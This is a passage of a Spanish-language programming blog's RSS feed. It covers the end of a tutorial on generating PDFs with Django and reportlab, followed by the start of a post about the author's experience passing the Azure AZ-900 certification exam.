style=&#34;color:#5af78e&#34;&gt;&amp;#34;Courier&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0.14&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.59&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.74&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;750&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Videojuegos&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Helvetica&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;16&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# Usamos el ORM de Django para consultar la base de datos&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    videogames &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    positionY &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;700&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; videogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; videogames:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# Accedemos al nombre individual de cada objeto&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, positionY, videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        positionY &lt;span style=&#34;color:#ff6ac1&#34;&gt;-=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Primero creamos un título con tipo de letra y cambiar a otro para la información dinámica.&#xA;Simplemente usamos el ORM de django para crear cualquier consulta que querramos y llamamos al método drawString por cada objeto de nuestra query.&lt;/p&gt;&#xA;&lt;p&gt;Observa como disminuyo la posición de la coordenada Y, para que cada iteración escriba el texto en una nueva linea, de otra forma cada linea se sobrepondría con la siguiente.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/pdf-dinamico-reportlab-django.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/generating-pdfs-with-django-and-reportlab/images/pdf-dinamico-reportlab-django.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pdf generado con información de la base de datos en Django&#34; width=&#34;1454&#34; height=&#34;845&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Pdf generado de manera dinámica usando Django&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;mejorar-el-rendimiento-al-generar-un-pdf-en-django&#34;&gt;Mejorar el rendimiento al generar un PDF en Django&lt;/h2&gt;&#xA;&lt;p&gt;Si tienes problemas de rendimiento al manejar PDFs complejos, considera usando la biblioteca io de Python, que permite trabajar con un objeto que se comporta exactamente como si fuera un archivo, pero en memoria.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; io &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; BytesIO&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    buffer &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; BytesIO()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; canvas&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Canvas(buffer)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ... &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;showPage()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; buffer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getvalue()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    buffer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;close()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;write(pdf)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En lugar de pasarle el objeto response al método Canvas, le pasamos un buffer binario.&lt;/p&gt;&#xA;&lt;p&gt;Al final, después de guardar los cambios en el pdf, obtenemos el valor del buffer, lo cerramos y lo escribimos en la respuesta.&lt;/p&gt;&#xA;&lt;p&gt;Te dejo aquí el código completo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;pdfVideogame&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; HttpResponse(content_type&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;application/pdf&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Content-Disposition&amp;#34;&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;attachment; filename=&amp;#34;hello.pdf&amp;#34;&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    buffer &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; BytesIO()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; canvas&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Canvas(buffer)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Courier&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;28&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0.14&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.59&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0.74&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;750&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Videojuegos&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFont(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Helvetica&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;16&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setFillColorRGB(&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    videogames &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    positionY &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;700&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; videogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; videogames:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;drawString(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;, positionY, videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        positionY &lt;span style=&#34;color:#ff6ac1&#34;&gt;-=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;25&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;showPage()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    p&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;save()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pdf &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; buffer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;getvalue()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    buffer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;close()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    response&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;write(pdf)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; response&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora ya sabes como crear un PDF sencillo que te va a servir para la mayoría de los casos.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Con django y reportlab podemos generar PDFs de manera dinámica, usando información de nuestra base de datos, input del usuario o cualquier otra lógica de negocio que deseemos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;instalacion-de-reportlab&#34;&gt;Instalación de reportlab&lt;/h2&gt;&#xA;&lt;p&gt;Lo primero será instalar reportlab, podemos usar pip, pipenv o cualquier otro gestor de paquetes que quieras.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install reportlab&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# pip install reportlab&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;definir-tipo-de-respuesta-pdf-en-django&#34;&gt;Definir tipo de respuesta PDF en Django&lt;/h2&gt;&#xA;&lt;p&gt;Una vez instalado vamos, las primeras lineas que escribiremos serán para asegurarnos de que el navegador sepa que le devolveremos un pdf, lo haremos por medio de una cabecera HTTP, la cabecera Content-Type, por medio de la variable &lt;em&gt;content_type&lt;/em&gt;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Examen de Certificacion Azure AZ-900 Mi Experiencia</title>
      <link>https://coffeebytes.dev/es/software-architecture/examen-de-certificacion-azure-az-900-mi-experiencia/</link>
      <pubDate>Fri, 02 Sep 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/software-architecture/examen-de-certificacion-azure-az-900-mi-experiencia/</guid>
      
      <category>software architecture</category>
      
      <category>opinion</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;El sábado 6 de agosto del 2022 presenté  y aprobé mi examen para la certificación Microsoft Azure AZ-900.&lt;/p&gt;&#xA;&lt;h2 id=&#34;en-que-consiste-la-certificacion-az-900&#34;&gt;¿En que consiste la certificación AZ-900?&lt;/h2&gt;&#xA;&lt;p&gt;La certificación AZ-900 Fundamentals garantiza que una persona conoce todos los servicios básicos que tiene la nube de microsoft, Azure, y sus aplicaciones empresariales.&lt;/p&gt;&#xA;&lt;p&gt;Para fines prácticos, te prepara para que sirvas como un intermediario que le recomienda servicios de Microsoft Azure a una empresa o tercero, de acuerdo a sus necesidades. O, que como profesional del software, puedas echar mano de todos los servicios que ofrece Azure. Suele leerse como algo sencillo pero Azure cuenta con una gran cantidad de servicios.&lt;/p&gt;&#xA;&lt;p&gt;Para conseguir lo anterior necestas conocer la arquitectura básica de Azure, sus diferentes servicios: computo, almacenamiento, inteligencia artificial, etc., sus características especiales, diferencias, y sus respectivos casos de uso.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;mi-proceso-de-examen&#34;&gt;Mi proceso de examen&lt;/h2&gt;&#xA;&lt;p&gt;El examen se llevó a cabo a través de la plataforma &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.evaluaasi.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Evaluaasi&lt;/a&gt;&#xA;, a través de la cual descargas un programa que se conecta a un escritorio remoto para la realización al examen. Este programa monitoreará tu computadora y dispositivos conectados, probablemente para evitar que un usuario haga trampa de alguna manera; he escuchado que algunos procesos de evaluación son tan estrictos que solicitan ver la habitación en la que realizarás el examen antes de comenzar.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/evaluaasi-plataforma.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/evaluaasi-plataforma.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Evaluaasi plataforma&#34; width=&#34;1672&#34; height=&#34;576&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Pantalla de inicio de la plataforma de evaluassi&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Llegada la hora del examen, y una vez conectado al escritorio remoto, un evaluador colocará su usuario y contraseña para darte acceso al examen.&lt;/p&gt;&#xA;&lt;p&gt;Según me dijeron en uno de sus correos, la aplicación del examen puede posponerse y son bastantes flexibles.&lt;/p&gt;&#xA;&lt;h2 id=&#34;formato-del-examen-az-900&#34;&gt;Formato del examen AZ-900&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;La duración del examen es de aproximadamente 60 minutos y cuenta con 45 preguntas, hay preguntas de opción múltiple, verdadero o falso, de relacionar columnas e incluso algunas en las que tienes que elegir una opción del marketplace de Microsoft directamente, justo como si te encontraras en el navegador.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/portal-azure.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/azure-az-900-certification-exam-my-experience/images/portal-azure.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Captura de pantalla del portal de Azure&#34; width=&#34;1051&#34; height=&#34;209&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Portal de azure&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Puedes saltar preguntas y marcarlas para regresar a ellas más adelante, lo cual te recomiendo bastante porque el tiempo está justo, a mi me sobraron 10 minutos, pero hubo algunas preguntas que no pude contestar en la primera vuelta.&lt;/p&gt;&#xA;&lt;p&gt;El examen se divide en diferentes secciones, cada una con un valor diferente, generalmente fluctuando cerca del 20%.&lt;/p&gt;&#xA;&lt;p&gt;Al finalizar el examen, el sistema calcula tu puntuación de manera automática, y te informa si aprobaste. Requieres un mínimo de 700 puntos de un máximo 1000 puntos para aprobar.&lt;/p&gt;&#xA;&lt;h3 id=&#34;contenido-del-examen-de-certificacion-az-900&#34;&gt;Contenido del examen de certificación AZ-900&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El examen está fuertemente orientado a las aplicaciones prácticas de los servicios de la nube. Este cuenta con preguntas enfocadas a casos prácticos, donde una empresa ficticia necesita decidir que servicio de la nube puede satisfacer mejor sus necesidades, por lo que no basta con saber definiciones, sino tener muy claros los conceptos y entenderlos, para poder aplicarlos en un entorno un poco más parecido al real.&lt;/p&gt;&#xA;&lt;h3 id=&#34;en-que-idioma-esta-el-examen&#34;&gt;¿En que idioma está el examen?&lt;/h3&gt;&#xA;&lt;p&gt;Al momento de presentar el examen es posible seleccionar de entre &lt;strong&gt;varios idiomas, entre ellos inglés y español&lt;/strong&gt;, por lo que despreocúpate si crees que el idioma será una barrera más en este examen.&lt;/p&gt;&#xA;&lt;h2 id=&#34;donde-estudiar-para-el-examen-de-certificacion-az-900&#34;&gt;¿Dónde estudiar para el examen de certificación AZ-900?&lt;/h2&gt;&#xA;&lt;p&gt;Para estudiar utilicé los siguientes recursos, te dejo una descripción breve de cada uno.&lt;/p&gt;&#xA;&lt;h3 id=&#34;microsoft-learn&#34;&gt;Microsoft Learn&lt;/h3&gt;&#xA;&lt;p&gt;La plataforma de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.microsoft.com/en-us/learn/&#34; 